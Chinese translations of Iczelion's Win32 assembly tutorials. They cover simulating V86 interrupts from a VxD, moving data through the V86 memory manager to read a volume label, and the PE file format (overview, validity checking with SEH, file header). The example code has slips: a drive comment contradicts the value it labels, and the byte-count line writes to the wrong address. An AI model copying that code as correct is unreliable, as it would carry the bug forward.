;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_dl,7
  mov [ebp].Client_ah,2
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

end

讲解

Push_Client_State

这没什么好讲解的。当一个VxD接收到一个DeviceIoControl消息，ebp已经指向了当前VM的客户寄存器结构。我们调用Push_Client_State宏在堆栈中存储客户寄存器结构的状态。然后用Pop_Client_State宏恢复客户寄存器。

VMMCall Begin_Nest_V86_Exec

通过调用Begin_Nest_V86_Exec开始嵌套执行块。

assume ebp:ptr Client_Byte_Reg_Struc
mov [ebp].Client_dl,7
mov [ebp].Client_ah,2

改变在客户寄存器中的dl和ah寄存器的映象。这个改变的值将由中断使用。

mov eax,21h
VMMCall Exec_Int

Exec_Int要求在eax存有一个中断号。我们想使用int 21h。等会我们调用Exec_Int去模拟中断。

VMMCall End_Nest_Exec
Pop_Client_State

当Exec_Int返回，我们完成了嵌套执行块，并且由堆栈中恢复了客户寄存器结构的值。 你将听到你的PC喇叭发出一声响。

翻译：吕骏，整理：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

虚拟8086模式的内存管理

下边我们用到的V86即指虚拟8086模式。 在以前的教程中，你学习了怎样模拟V86中断，但还有一个问题没有解决：在VxD和V86代码之间交换数据。我们将在此学习如何使用V86内存管理器来实现这个功能。在这里下载例子程序

理论

假如你的VxD和一些V86程序一起运行，如何传送大量数据到V86程序中或从V86程序中传送大量数据迟早是一个大问题。通过寄存器传送大量数据是不现实的。可能你的下一个想法是在ring0中分配一大块内存，并且通过一些寄存器传送其指针到V86程序，使其能访问这些数据。假如你这样做，可能会破坏你的系统，因为V86的地址定位方式需要segment:offset对，而不是线性定位方式。对这个问题，有很多解决的方法。然而，我选择了一个由V86内存管理器提供的一种简便的方法。

如你能在你可使用的V86内存范围内找到一个空闲的内存块作为通讯缓冲区，这将解决其中的一个问题。然而，指针传送的问题依然存在。你可以通过V86内存管理器的服务来解决这两个问题。V86内存管理器是为V86应用管理内存的静态VxD。它还为V86应用提供EMS和XMS服务和为其他VxD提供API传送服务。API传送是一个从ring0拷贝数据到V86范围内的缓冲区并且传送V86缓冲区地址到V86代码的过程。V86内存管理器有一个在V86内存范围内的传送缓冲区，其含有VxD拷贝到V86内存范围内的数据，反之亦然。初始的缓冲区是4K。你以调用V86MMGR_Set_Mapping_Info来增加它的大小。

现在你知道了传送缓冲区，我们如何拷入或拷出数据呢？这个问题通过调用两个服务来解决：V86MMGR_Allocate_Buffer和V86MMGR_Free_Buffer。

V86MMGR_Allocate_Buffer从传送缓冲区分配一块内存并且从ring0拷贝一些数据到分配的V86缓冲区。V86MMGR_Free_Buffer正好相反：它从分配的V86内存块拷贝一些数据到ring0缓冲区并且释放由V86MMGR_Allocate_Buffer分配的内存块。

记住，V86在内存管理器象堆栈一样管理被分配的缓冲区。这意味着分配／释放必须按先进后出的规则。所以如你调用了两次V86MMGR_Allocate_Buffer，第一个V86MMGR_Free_Buffer将释放由第二个V86MMGR_Allocate_Buffer调用而分配的缓冲区。

我们来看一下V86MMGR_Allocate_Buffer的定义，它是一个基本寄存器传送参数的服务。

  • EBX 当前VM的句柄
  • EBP 指向当前VM的客户寄存器结构的指针
  • ECX 从传送缓冲区分配的字节数 CARRY FLAG 进位标志位，如你不想从ring0缓冲区拷贝数据到分配的内存块就清零， 如你想从ring0缓冲区拷贝数据到分配的内存块就置1
  • FS:ESI 指向ring0缓冲区的selector:offset指针，缓冲区中有要被拷贝到被分配的 缓冲区中的数据如果进位标志位被清零，则忽略它。

假如调用成功，进位标志位被清零并且ECX包含在传送缓冲区中的字节数。这个数值应小于你要求的数值，所以你应保持这个数值，V86MMGR_Free_Buffer待会要用到它。EDI的高字包含被分配的内存块的V86段地址，偏移地址在在低字中。进位标志位当错误发生时被置位。

V86MMGR_Free_Buffer和V86MMGR_Allocate_Buffer接受同样的参数。

当你调用V86MMGR_Allocate_Buffer时，你在当前VM的V86内存范围内分配了一块内存，并且把其地址放到了EDI中。你可以使用这些服务传送数据到V86中断中或从V86中断中取得数据。

在附加的API传送中，V86内存管理器也给其他VxDs提供了API映射服务。API映射服务是映射一些在扩展内存中的页到每个VM的V86内存范围。你可以使用V86MMGR_Map_Pages执行API映射。使用这个服务，页被映射到每个VM的同一线性地址空间上。如你仅仅工作在一个VM上，这将浪费地址空间。因为API映射比API传送要慢，所以你尽可能使用API传送方式。API映射仅仅使用在一些要访问同一线性地址空间并作用到所有VM的V86操作上。

例子：

这个例子演示了API传送方式，使用了int 21h的440Dh功能（从代码66h）。这个中断调用得到媒体ID，你的第一个固定磁盘的卷标号。

;---------------------------------------------------------------
;                            VxDLabel.asm
;---------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc
VxDName TEXTEQU
ControlName TEXTEQU
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  VMMCall Get_Sys_VM_Handle
  mov Handle,ebx
  assume ebx:ptr cb_s
  mov ebp,[ebx+CB_Client_Pointer]
  mov ecx,sizeof MID
  stc
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Allocate_Buffer
  pop esi
  jc EndI
  mov AllocSize,ecx
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_ch,8
  mov [ebp].Client_cl,66h
  assume ebp:ptr Client_word_reg_struc
  mov edx,edi
  mov [ebp].Client_bx,3 ; drive A
  mov [ebp].Client_ax,440dh
  mov [ebp].Client_dx,dx
  shr edx,16
  mov [ebp].Client_ds,dx
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
  ;-------------------------------
  ; retrieve the data
  ;-------------------------------
  mov ecx,AllocSize
  stc
  mov ebx,Handle
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Free_Buffer
  pop esi
  mov edx,esi
  assume edx:ptr DIOCParams
  mov edi,[edx].lpvOutBuffer
  mov esi,OFFSET32 MediaID.midVolLabel
  mov ecx,11
  rep movsb
  mov byte ptr [edi],0
  mov ecx,[edx].lpcbBytesReturned
  mov dword ptr [edx],11
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 MID struct
  midInfoLevel dw 0
  midSerialNum dd ?
  midVolLabel db 11 dup(?)
  midFileSysType db 8 dup(?)
 MID ends
 MediaID MID <>
 Handle dd ?
 AllocSize dd ?
VXD_PAGEABLE_DATA_ENDS

end

;------------------------------------------------------------
;                        Label.asm
; The win32 VxD loader.
;------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.data
Failure db "Cannot load VxDLabel.VXD",0
AppName db "Get Disk Label",0
VxDName db "\\.\vxdLabel.vxd",0
OutputTemplate db "Volume Label of Drive C",0

.data?
hInstance HINSTANCE ?
hVxD dd ?
DiskLabel db 12 dup(?)
BytesReturned dd ?

.const
IDD_VXDRUN    equ 101
IDC_LOAD      equ 1000

.code
start:
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke DialogBoxParam, hInstance, IDD_VXDRUN ,NULL,addr DlgProc,NULL
 invoke ExitProcess,eax

DlgProc proc hDlg:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 .IF uMsg==WM_INITDIALOG
  invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
  .if eax==INVALID_HANDLE_VALUE
   invoke MessageBox,hDlg,addr Failure,addr AppName,MB_OK+MB_ICONERROR
   mov hVxD,0
   invoke EndDialog,hDlg,NULL
  .else
   mov hVxD,eax
  .endif
 .elseif uMsg==WM_CLOSE
  .if hVxD!=0
   invoke CloseHandle,hVxD
  .endif
  invoke EndDialog,hDlg,0
 .ELSEIF uMsg==WM_COMMAND
  mov eax,wParam
  mov edx,wParam
  shr edx,16
  .if dx==BN_CLICKED
   .IF ax==IDC_LOAD
     invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,addr BytesReturned,NULL
     invoke MessageBox,hDlg,addr DiskLabel,addr OutputTemplate,MB_OK+MB_ICONINFORMATION
   .endif
  .endif
 .ELSE
  mov eax,FALSE
  ret
 .ENDIF
 mov eax,TRUE
 ret
DlgProc endp
end start

讲解

我们首先分析lable.asm，它是一个加载了VxD的WIN32应用程序。

invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,addr BytesReturned,NULL

它调用DeviceIoControl，设备代码是1，没有输入缓冲区，一个指向输出缓冲区的指针及其大小。DiskLable是一个接收由VxD返回的卷标号的缓冲区。BytesReturned变量存有返回的字节数。这个例子说明了怎样传送数据和从VxD接收数据：你传送输入／输出缓冲区给VxD并且VxD读取／写入数据到指定的缓冲区。

我们下面看看VxD代码。

    VMMCall Get_Sys_VM_Handle
    mov Handle,ebx
    assume ebx:ptr cb_s
    mov ebp,[ebx+CB_Client_Pointer]

当一个VxD接收W32_DeviceIoControl消息，它调用Get_Sys_VM_Handle得到系统VM的句柄并把它存在一个叫Handle的变量中。下面将从VM控制块中提取指向客户寄存器结构的指针到EBP。

    mov ecx,sizeof MID
    stc
    push esi
    mov esi,OFFSET32 MediaID
    push ds
    pop fs
    VxDCall V86MMGR_Allocate_Buffer
    pop esi
    jc EndI
    mov AllocSize,ecx

下面，准备传送到V86MMGR_Allocate_Buffer的参数。我们必须初始化被分配的缓冲区。我们把MediaID的偏移量送到ESI中，并且把选择子放在FS中，然后调用V86MMGR_Allocate_Buffer。你等会要恢复指向DIOCParams的指针，所以我们必须通过push esi 和pop esi来保护它。

    Push_Client_State
    VMMCall Begin_Nest_V86_Exec
    assume ebp:ptr Client_Byte_Reg_Struc
    mov [ebp].Client_ch,8
    mov [ebp].Client_cl,66h
    assume ebp:ptr Client_word_reg_struc
    mov edx,edi
    mov [ebp].Client_bx,3 ; drive C
    mov [ebp].Client_ax,440dh

我们在客户寄存器结构中准备参数值来执行int 21h的440Dh功能（从代码66h），得到盘C的媒体ID。我们拷贝edi的值到edx中（edi中有由V86MMGR_Allocate_Buffer分配的内存块的V86地址）。

    mov [ebp].Client_dx,dx
    shr edx,16
    mov [ebp].Client_ds,dx

调用了int 21h的440Dh功能（从代码66h）后，在ds:dx中得到一指向一个MID结构的指针，我们必须把在edx中的segment:offset对转换成两个部分并把它们放到合适的寄存器映象中。

    mov eax,21h
    VMMCall Exec_Int
    VMMCall End_Nest_Exec
    Pop_Client_State

当一切都准备好了，我们将运行Exec_Int去模拟一个中断。

    mov ecx,AllocSize
    stc
    mov ebx,Handle
    push esi
    mov esi,OFFSET32 MediaID
    push ds
    pop fs
    VxDCall V86MMGR_Free_Buffer
    pop esi

当Exec_Int返回时，分配的缓冲已经由我们想要的信息填满了。下一步是检索信息。我们使用 V86MMGR_Free_Buffer来完成这个目标。这个服务释放由V86MMGR_Allocate_Memory分配的内存块，并且从分配的内存块中拷贝数据到ring0中的内存块。象V86MMGR_Allocate_Memory，如果你想要进行拷贝操作，你必须先把进位标志位置1，再调用服务。

    mov edx,esi
    assume edx:ptr DIOCParams
    mov edi,[edx].lpvOutBuffer
    mov esi,OFFSET32 MediaID.midVolLabel
    mov ecx,11
    rep movsb
    mov byte ptr [edi],0
    mov ecx,[edx].lpcbBytesReturned
    mov dword ptr [edx],11

我们在ring0中得到这个信息后，拷贝这个卷标值到Win32应用程序提供的缓冲区中。我们可以用DIOCParams的成员lpvOutBuffer来访问它。

翻译：吕骏，整理：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


PE教程1: PE文件格式一览

考虑到早期写的PE教程1是自己所有教程中最糟糕的一篇，此番决心彻底重写一篇以飨读者。

PE 的意思就是 Portable Executable（可移植的执行体）。它是 Win32环境自身所带的执行体文件格式。它的一些特性继承自 Unix的 Coff (common object file format)文件格式。"portable executable"（可移植的执行体）意味着此文件格式是跨win32平台的 : 即使Windows运行在非Intel的CPU上，任何win32平台的PE装载器都能识别和使用该文件格式。当然，移植到不同的CPU上PE执行体必然得有一些改变。所有 win32执行体 (除了VxD和16位的Dll)都使用PE文件格式，包括NT的内核模式驱动程序（kernel mode drivers）。因而研究PE文件格式给了我们洞悉Windows结构的良机。

本教程就让我们浏览一下 PE文件格式的概要。

DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n

上图是 PE文件结构的总体层次分布。 所有 PE文件(甚至32位的 DLLs) 必须以一个简单的 DOS MZ header 开始。 我们通常对此结构没有太大兴趣。有了它，一旦程序在DOS下执行，DOS就能识别出这是有效的执行体，然后运行紧随 MZ header 之后的 DOS stub。DOS stub实际上是个有效的 EXE，在不支持 PE文件格式的操作系统中，它将简单显示一个错误提示，类似于字符串 "This program requires Windows" 或者程序员可根据自己的意图实现完整的 DOS代码。通常我们也不对 DOS stub 太感兴趣: 因为大多数情况下它是由汇编器/编译器自动生成。通常，它简单调用中断21h服务9来显示字符串"This program cannot run in DOS mode"。

紧接着 DOS stub 的是 PE header。 PE header 是PE相关结构 IMAGE_NT_HEADERS 的简称，其中包含了许多PE装载器用到的重要域。当我们更加深入研究PE文件格式后，将对这些重要域耳目能详。执行体在支持PE文件结构的操作系统中执行时，PE装载器将从 DOS MZ header 中找到 PE header 的起始偏移量。 因而跳过了 DOS stub 直接定位到真正的文件头 PE header。

PE文件的真正内容划分成块，称之为sections（节）。 每节是一块拥有共同属性的数据，比如代码/数据、读/写等。我们可以把PE文件想象成一逻辑磁盘，PE header 是磁盘的boot扇区，而sections就是各种文件，每种文件自然就有不同属性如只读、系统、隐藏、文档等等。 值得我们注意的是 ---- 节的划分是基于各组数据的共同属性: 而不是逻辑概念。重要的不是数据/代码是如何使用的，如果PE文件中的数据/代码拥有相同属性，它们就能被归入同一节中。不必关心节中类似于"data", "code"或其他的逻辑概念: 如果数据和代码拥有相同属性，它们就可以被归入同一个节中。（译者注：节名称仅仅是个区别不同节的符号而已，类似"data", "code"的命名只为了便于识别，惟有节的属性设置决定了节的特性和功能）如果某块数据想付为只读属性，就可以将该块数据放入置为只读的节中，当PE装载器映射节内容时，它会检查相关节属性并置对应内存块为指定属性。

如果我们将PE文件格式视为一逻辑磁盘，PE header是boot扇区而sections是各种文件，但我们仍缺乏足够信息来定位磁盘上的不同文件，譬如，什么是PE文件格式中等价于目录的东东？ 别急，那就是 PE header 接下来的数组结构 section table（节表）。 每个结构包含对应节的属性、文件偏移量、虚拟偏移量等。如果PE文件里 有5个节，那么此结构数组内就有5个成员。因此，我们便可以把节表视为逻辑磁盘中的根目录，每个数组成员等价于根目录中目录项。

以上就是PE文件格式的物理分布，下面将总结一下装载一PE文件的主要步骤:

  1. 当PE文件被执行，PE装载器检查 DOS MZ header 里的 PE header 偏移量。如果找到，则跳转到 PE header。
  2. PE装载器检查 PE header 的有效性。如果有效，就跳转到PE header的尾部。
  3. 紧跟 PE header 的是节表。PE装载器读取其中的节信息，并采用文件映射方法将这些节映射到内存，同时付上节表里指定的节属性。
  4. PE文件映射入内存后，PE装载器将处理PE文件中类似 import table（引入表）逻辑部分。

上述步骤是基于本人观察后的简述，显然还有一些不够精确的地方，但基本明晰了执行体被处理的过程。

你应该下载 LUEVELSMEYER的《PE文件格式》 。 该文的描述相当详细，可用作案头的参考手册。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


PE教程2: 检验PE文件的有效性

本教程中我们将学习如何检测给定文件是一有效PE文件。
下载 范例

理论:

如何才能校验指定文件是否为一有效PE文件呢? 这个问题很难回答，完全取决于想要的精准程度。您可以检验PE文件格式里的各个数据结构，或者仅校验一些关键数据结构。大多数情况下，没有必要校验文件里的每一个数据结构，只要一些关键数据结构有效，我们就认为是有效的PE文件了。下面我们就来实现前面的假设。

我们要验证的重要数据结构就是 PE header。从编程角度看，PE header 实际就是一个 IMAGE_NT_HEADERS 结构。定义如下:

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature 一dword类型，值为50h, 45h, 00h, 00h（PE\0\0）。 本域为PE标记，我们可以此识别给定文件是否为有效PE文件。
FileHeader 该结构域包含了关于PE文件物理分布的信息， 比如节数目、文件执行机器等。
OptionalHeader 该结构域包含了关于PE文件逻辑分布的信息，虽然域名有"可选"字样，但实际上本结构总是存在的。

我们目的很明确。如果IMAGE_NT_HEADERS的signature域值等于"PE\0\0"，那么就是有效的PE文件。实际上，为了比较方便，Microsoft已定义了常量IMAGE_NT_SIGNATURE供我们使用。

IMAGE_DOS_SIGNATURE equ 5A4Dh
IMAGE_OS2_SIGNATURE equ 454Eh
IMAGE_OS2_SIGNATURE_LE equ 454Ch
IMAGE_VXD_SIGNATURE equ 454Ch
IMAGE_NT_SIGNATURE equ 4550h

接下来的问题是: 如何定位 PE header? 答案很简单: DOS MZ header 已经包含了指向 PE header 的文件偏移量。DOS MZ header 又定义成结构 IMAGE_DOS_HEADER 。查询windows.inc，我们知道 IMAGE_DOS_HEADER 结构的e_lfanew成员就是指向 PE header 的文件偏移量。

现在将所有步骤总结如下:

  1. 首先检验文件头部第一个字的值是否等于 IMAGE_DOS_SIGNATURE，是则 DOS MZ header 有效。
  2. 一旦证明文件的 DOS header 有效后，就可用e_lfanew来定位 PE header 了。
  3. 比较 PE header 的第一个字的值是否等于 IMAGE_NT_HEADER。如果前后两个值都匹配，那我们就认为该文件是一个有效的PE文件。

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

SEH struct
PrevLink dd ?    ; the address of the previous seh structure
CurrentHandler dd ?    ; the address of the exception handler
SafeOffset dd ?    ; The offset where it's safe to continue execution
PrevEsp dd ?      ; the old value in esp
PrevEbp dd ?     ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.2",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
                 db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileValidPE db "This file is a valid PE",0
FileInValidPE db "This file is not a valid PE",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start proc
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
       mov hFile, eax
       invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
       .if eax!=NULL
          mov hMapping, eax
          invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
          .if eax!=NULL
             mov pMapping,eax
             assume fs:nothing
             push fs:[0]
             pop seh.PrevLink
             mov seh.CurrentHandler,offset SEHHandler
             mov seh.SafeOffset,offset FinalExit
             lea eax,seh
             mov fs:[0], eax
             mov seh.PrevEsp,esp
             mov seh.PrevEbp,ebp
             mov edi, pMapping
             assume edi:ptr IMAGE_DOS_HEADER
             .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                add edi, [edi].e_lfanew
                assume edi:ptr IMAGE_NT_HEADERS
                .if [edi].Signature==IMAGE_NT_SIGNATURE
                   mov ValidPE, TRUE
                .else
                   mov ValidPE, FALSE
                .endif
             .else
                 mov ValidPE,FALSE
             .endif
FinalExit:
             .if ValidPE==TRUE
                 invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .else
                invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .endif
             push seh.PrevLink
             pop fs:[0]
             invoke UnmapViewOfFile, pMapping
          .else
             invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
.endif
invoke ExitProcess, 0
start endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
    mov edx,pFrame
    assume edx:ptr SEH
    mov eax,pContext
    assume eax:ptr CONTEXT
    push [edx].SafeOffset
    pop [eax].regEip
    push [edx].PrevEsp
    pop [eax].regEsp
    push [edx].PrevEbp
    pop [eax].regEbp
    mov ValidPE, FALSE
    mov eax,ExceptionContinueExecution
    ret
SEHHandler endp
end start

分析:

本例程打开一文件，先检验DOS header是否有效，有效就接着检验PE header的有效性，ok就认为是有效的PE文件了。这里，我们还运用了结构异常处理(SEH)，这样就不必检查每个可能的错误: 如果有错误出现，就认为PE检测失效所致，于是给出我们的报错信息。其实Windows内部普遍使用SEH来检验参数传递的有效性。若对SEH感兴趣的话，可阅读Jeremy Gordon的 文章 。

程序调用打开文件通用对话框，用户选定执行文件后，程序便打开文件并映射到内存。并在有效性检验前建立一 SEH:

   assume fs:nothing
   push fs:[0]
   pop seh.PrevLink
   mov seh.CurrentHandler,offset SEHHandler
   mov seh.SafeOffset,offset FinalExit
   lea eax,seh
   mov fs:[0], eax
   mov seh.PrevEsp,esp
   mov seh.PrevEbp,ebp

一开始就假设寄存器 fs为空（assume fs:nothing）。 记住这一步不能省却，因为MASM假设fs寄存器为ERROR。接下来保存 Windows使用的旧SEH处理函数地址到我们自己定义的结构中，同时保存我们的SEH处理函数地址和异常处理时的执行恢复地址，这样一旦错误发生就能由异常处理函数安全地恢复执行了。同时还保存当前esp及ebp的值，以便我们的SEH处理函数将堆栈恢复到正常状态。

   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   .if [edi].e_magic==IMAGE_DOS_SIGNATURE

成功建立SEH后继续校验工作。置目标文件的首字节地址给edi，使其指向DOS header的首字节。为便于比较，我们告诉编译器可以假定edi正指向IMAGE_DOS_HEADER结构(事实亦是如此)。然后比较DOS header的首字是否等于字符串"MZ"，这里利用了windows.inc中定义的IMAGE_DOS_SIGNATURE常量。若比较成功，继续转到PE header，否则设ValidPE 值为FALSE，意味着文件不是有效PE文件。

      add edi, [edi].e_lfanew
      assume edi:ptr IMAGE_NT_HEADERS
      .if [edi].Signature==IMAGE_NT_SIGNATURE
         mov ValidPE, TRUE
      .else
         mov ValidPE, FALSE
      .endif

要定位到PE header，需要读取DOS header中的e_lfanew域值。该域含有PE header在文件中相对文件首部的偏移量。edi加上该值正好定位到PE header的首字节。这儿可能会出错，如果文件不是PE文件，e_lfanew值就不正确，加上该值作为指针就可能导致异常。若不用SEH，我们必须校验e_lfanew值是否超出文件尺寸，这不是一个好办法。如果一切OK，我们就比较PE header的首字是否是字符串"PE"。这里在此用到了常量IMAGE_NT_SIGNATURE，相等则认为是有效的PE文件。
如果e_lfanew的值不正确导致异常，我们的SEH处理函数就得到执行控制权，简单恢复堆栈指针和基栈指针后，就根据safeoffset的值恢复执行到FinalExit标签处。

FinalExit:
   .if ValidPE==TRUE
      invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .else
      invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif

上述代码简单明确，根据ValidPE的值显示相应信息。

   push seh.PrevLink
   pop fs:[0]

一旦SEH不再使用，必须从SEH链上断开。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


Iczelion的PE教程3: File Header （文件头）

PE教程3: File Header （文件头）

本课我们将要研究 PE header 的 file header（文件头）部分。

至此，我们已经学到了哪些东东，先简要回顾一下:

  • DOS MZ header 又命名为 IMAGE_DOS_HEADER.。其中只有两个域比较重要: e_magic 包含字符串"MZ"，e_lfanew 包含PE header在文件中的偏移量。
  • 比较e_magic 是否为IMAGE_DOS_SIGNATURE以验证是否是有效的DOS header。比对符合则认为文件拥有一个有效的DOS header。
  • 为了定位PE header，移动文件指针到e_lfanew所指向的偏移。
  • PE header的第一个双字包含字符串"PE\0\0"。该双字与IMAGE_NT_SIGNATURE比对，符合则认为PE header有效。

本课我们继续探讨关于 PE header 的知识。 PE header 的正式命名是 IMAGE_NT_HEADERS。再来回忆一下这个结构。

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature PE标记，值为50h, 45h, 00h, 00h（PE\0\0）。
FileHeader 该结构域包含了关于PE文件物理分布的一般信息。
OptionalHeader 该结构域包含了关于PE文件逻辑分布的信息。

最有趣的东东在 OptionalHeader 里。不过，FileHeader 里的一些域也很重要。本课我们将学习FileHeader，下一课研究OptionalHeader。

IMAGE_FILE_HEADER STRUCT
Machine WORD ?
NumberOfSections WORD ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader WORD ?
Characteristics WORD ?
IMAGE_FILE_HEADER ENDS

Field name | Meanings
Machine | 该文件运行所要求的CPU。对于Intel平台，该值是IMAGE_FILE_MACHINE_I386 (14Ch)。我们尝试了LUEVELSMEYER的pe.txt声明的14Dh和14Eh，但Windows不能正确执行。看起来，除了禁止程序执行之外，本域对我们来说用处不大。
NumberOfSections | 文件的节数目。如果我们要在文件中增加或删除一个节，就需要修改这个值。
TimeDateStamp | 文件创建日期和时间。我们不感兴趣。
PointerToSymbolTable | 用于调试。
NumberOfSymbols | 用于调试。
SizeOfOptionalHeader | 指示紧随本结构之后的 OptionalHeader 结构大小，必须为有效值。
Characteristics | 关于文件信息的标记，比如文件是exe还是dll。

简言之，只有三个域对我们有一些用: Machine, NumberOfSections 和 Characteristics。通常不会改变 Machine 和Characteristics 的值，但如果要遍历节表就得使用 NumberOfSections。
为了更好阐述 NumberOfSections 的用处，这里简要介绍一下节表。

节表是一个结构数组，每个结构包含一个节的信息。因此若有3个节，数组就有3个成员。 我们需要NumberOfSections值来了解该数组中到底有几个成员。 也许您会想检测结构中的全0成员起到同样效果。Windows确实采用了这种方法。为了证明这一点，可以增加NumberOfSections的值，Windows仍然可以正常执行文件。据我们的观察，Windows读取NumberOfSections的值然后检查节表里的每个结构，如果找到一个全0结构就结束搜索，否则一直处理完NumberOfSections指定数目的结构。 为什么我们不能忽略NumberOfSections的值? 有几个原因。PE说明中没有指定节表必须以全0结构结束。Thus there may be a situation where the last array member is contiguous to the first section, without empty space at all. Another reason has to do with bound imports. The new-style binding puts the information immediately following the section table's last structure array member. 因此您仍然需要NumberOfSections。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


Iczelion的PE教程4: Optional Header

PE教程4: Optional Header

我们已经学习了关于 DOS header 和 PE header 中部分成员的知识。这里是 PE header 中最后、最大或许也是最重要的成员，optional header。

回顾一下，optional header 结构是 IMAGE_NT_HEADERS 中的最后成员。包含了PE文件的逻辑分布信息。该结构共有31个域，一些是很关键，另一些不太常用。这里只介绍那些真正有用的域。

这儿有个关于PE文件格式的常用术语: RVA
